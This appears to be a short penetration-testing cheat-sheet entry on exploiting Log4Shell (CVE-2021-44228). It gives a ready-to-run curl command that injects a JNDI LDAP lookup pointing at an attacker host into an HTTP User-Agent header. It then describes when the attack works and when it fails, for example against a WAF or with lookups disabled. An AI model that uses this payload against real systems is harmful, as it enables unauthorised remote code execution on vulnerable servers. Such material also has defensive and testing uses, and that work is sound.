log4j JNDI (CVE-2021-44228)

curl -H 'User-Agent: ${jndi:ldap://<attacker>/a}' <url>

Exploitation of the Log4Shell vulnerability via JNDI injection in HTTP headers or parameters.

When you suspect an application uses Log4j 2.x and is unpatched. Log4Shell allows remote code execution (RCE) by injecting a JNDI string into a header (User-Agent, X-Forwarded-For, etc.) or parameter. It is one of the most critical vulnerabilities in history.

If the application does not use Log4j or is updated. Also if the target has a WAF that blocks the ${jndi:...} pattern or uses `log4j2.formatMsgNoLookups=true`.